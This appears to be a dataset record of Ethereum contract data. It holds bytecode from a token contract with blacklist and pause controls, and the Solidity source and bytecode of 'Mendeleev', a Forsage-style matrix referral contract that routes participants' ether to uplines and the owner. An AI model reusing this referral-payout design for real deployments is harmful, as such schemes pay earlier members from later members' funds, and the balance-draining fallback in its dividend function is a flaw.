ffffff16815260200190815260200160002054612c5290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156117c5576000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611859565b6117d88382612bc990919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a385750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611a4157600080fd5b600a60009054906101000a900460ff1615611a5b57600080fd5b6001600a60006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b635780601f10611b3857610100808354040283529160200191611b63565b820191906000526020600020905b815481529060010190602001808311611b4657829003601f168201915b505050505081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c2c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b60005b8151811015611d1b5760096000838381518110611c4857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ca257611d0e565b600160096000848481518110611cb457fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080600101915050611c2f565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611dc95750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611dd257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e0c57600080fd5b611e2182600454612bc990919063ffffffff16565b600481905550611e7982600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc990919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f396ed0ab6cc27459695a5d29409f1357ff85a6b958ca216959d886d23a89949b60405160405180910390a1600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60019054906101000a900460ff161580611fe7575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b8061203f5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61204857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561208257600080fd5b61208b33612cda565b1561209557600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156120e157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561211a57600080fd5b61216c82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc990919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061220182600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612374576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b60005b8151811015612462576009600083838151811061239057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166123e957612455565b6000600960008484815181106123fb57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080600101915050612377565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461252a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561256457600080fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff167fb5f88643261aefc17fb9561acc4fc17bd7bee319b08cc7abb04b552339593e1b60405160405180910390a260019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061269b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6126a457600080fd5b6001600a60016101000a81548160ff0219169083151502179055507f481e27d43fb74b96540bf6eb1011042665ae9040107d556002cb2796a9a9867560405160405180910390a16001905090565b60096020528060005260406000206000915054906101000a900460ff1681565b600a60019054906101000a900460ff1681565b60006127b682600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5290919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612b0c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f416464726573732073686f756c646e2774206265207a65726f0000000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115612c41576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600080828401905083811015612cd0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905091905056fea264697066735822122031e5194853a2765d6e9f6ff46b1dc449c359d3b459633546fa5590cf55d0d84a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,147 |
0xc1b68785de44e85ee63a09e0c39abfb3a984dd65
|
pragma solidity >=0.4.23 <0.6.0;
contract Mendeleev {
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public constant LAST_LEVEL = 12;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(uint => address) public userIds;
mapping(address => uint) public balances;
uint public lastUserId = 2;
address public owner;
mapping(uint8 => uint) public levelPrice;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level);
event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level);
constructor(address ownerAddress) public {
levelPrice[1] = 0.025 ether;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
owner = ownerAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0)
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeX3Levels[i] = true;
users[ownerAddress].activeX6Levels[i] = true;
}
userIds[1] = ownerAddress;
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[msg.sender].activeX3Levels[level], "level already activated");
if (users[msg.sender].x3Matrix[level-1].blocked) {
users[msg.sender].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(msg.sender, level);
users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer;
users[msg.sender].activeX3Levels[level] = true;
updateX3Referrer(msg.sender, freeX3Referrer, level);
emit Upgrade(msg.sender, freeX3Referrer, 1, level);
} else {
require(!users[msg.sender].activeX6Levels[level], "level already activated");
if (users[msg.sender].x6Matrix[level-1].blocked) {
users[msg.sender].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(msg.sender, level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level);
emit Upgrade(msg.sender, freeX6Referrer, 2, level);
}
}
function registration(address userAddress, address referrerAddress) private {
require(msg.value == 0.05 ether, "registration cost 0.05");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
userIds[lastUserId] = userAddress;
lastUserId++;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendETHDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress, referrerAddress, 1, level, 3);
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendETHDividends(owner, userAddress, 1, level);
users[owner].x3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 3);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
sendETHDividends(owner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].blocked);
}
function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, address) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findEthReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendETHDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findEthReceiver(userAddress, _from, matrix, level);
if (!address(uint160(receiver)).send(levelPrice[level])) {
return address(uint160(receiver)).transfer(address(this).balance);
}
if (isExtraDividends) {
emit SentExtraEthDividends(_from, receiver, matrix, level);
}
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
|
0x6080604052600436106100fe5760003560e01c806383ba31b211610095578063b2f7543a11610064578063b2f7543a146107c2578063be389d5714610838578063e06e8dbd14610876578063ecabdf7914610914578063fa45323d14610966576100fe565b806383ba31b21461046f5780638da5cb5b146105605780639cc102fc146105b7578063a87430ba14610723576100fe565b8063348d4487116100d1578063348d44871461031c5780634635fd6814610347578063509222cd146103c2578063797eee241461042b576100fe565b806307279e2a1461019557806327e235e31461020b57806329c70400146102705780632a2d0c47146102a1575b600080369050141561013b5761013633600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a04565b610193565b6101923361018d6000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506110f5565b610a04565b5b005b3480156101a157600080fd5b506101f1600480360360408110156101b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050611103565b604051808215151515815260200191505060405180910390f35b34801561021757600080fd5b5061025a6004803603602081101561022e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611173565b6040518082815260200191505060405180910390f35b34801561027c57600080fd5b5061028561118b565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102ad57600080fd5b506102da600480360360208110156102c457600080fd5b8101908080359060200190929190505050611190565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561032857600080fd5b506103316111c3565b6040518082815260200191505060405180910390f35b34801561035357600080fd5b506103806004803603602081101561036a57600080fd5b81019080803590602001909291905050506111c9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ce57600080fd5b50610411600480360360208110156103e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111fc565b604051808215151515815260200191505060405180910390f35b61046d6004803603602081101561044157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061124a565b005b34801561047b57600080fd5b506104cb6004803603604081101561049257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050611257565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200183151515158152602001828103825284818151815260200191508051906020019060200280838360005b8381101561054a57808201518184015260208101905061052f565b5050505090500194505050505060405180910390f35b34801561056c57600080fd5b50610575611432565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105c357600080fd5b50610613600480360360408110156105da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050611458565b604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200180602001851515151581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838103835287818151815260200191508051906020019060200280838360005b838110156106c85780820151818401526020810190506106ad565b50505050905001838103825286818151815260200191508051906020019060200280838360005b8381101561070a5780820151818401526020810190506106ef565b5050505090500197505050505050505060405180910390f35b34801561072f57600080fd5b506107726004803603602081101561074657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061179b565b604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390f35b3480156107ce57600080fd5b5061081e600480360360408110156107e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff1690602001909291905050506117e5565b604051808215151515815260200191505060405180910390f35b6108746004803603604081101561084e57600080fd5b81019080803560ff169060200190929190803560ff169060200190929190505050611855565b005b34801561088257600080fd5b506108d26004803603604081101561089957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff16906020019092919050505061208c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561092057600080fd5b506109506004803603602081101561093757600080fd5b81019080803560ff16906020019092919050505061223b565b6040518082815260200191505060405180910390f35b34801561097257600080fd5b506109c26004803603604081101561098957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050612253565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b66b1a2bc2ec500003414610a80576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f726567697374726174696f6e20636f737420302e30350000000000000000000081525060200191505060405180910390fd5b610a89826111fc565b15610afc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f7573657220657869737473000000000000000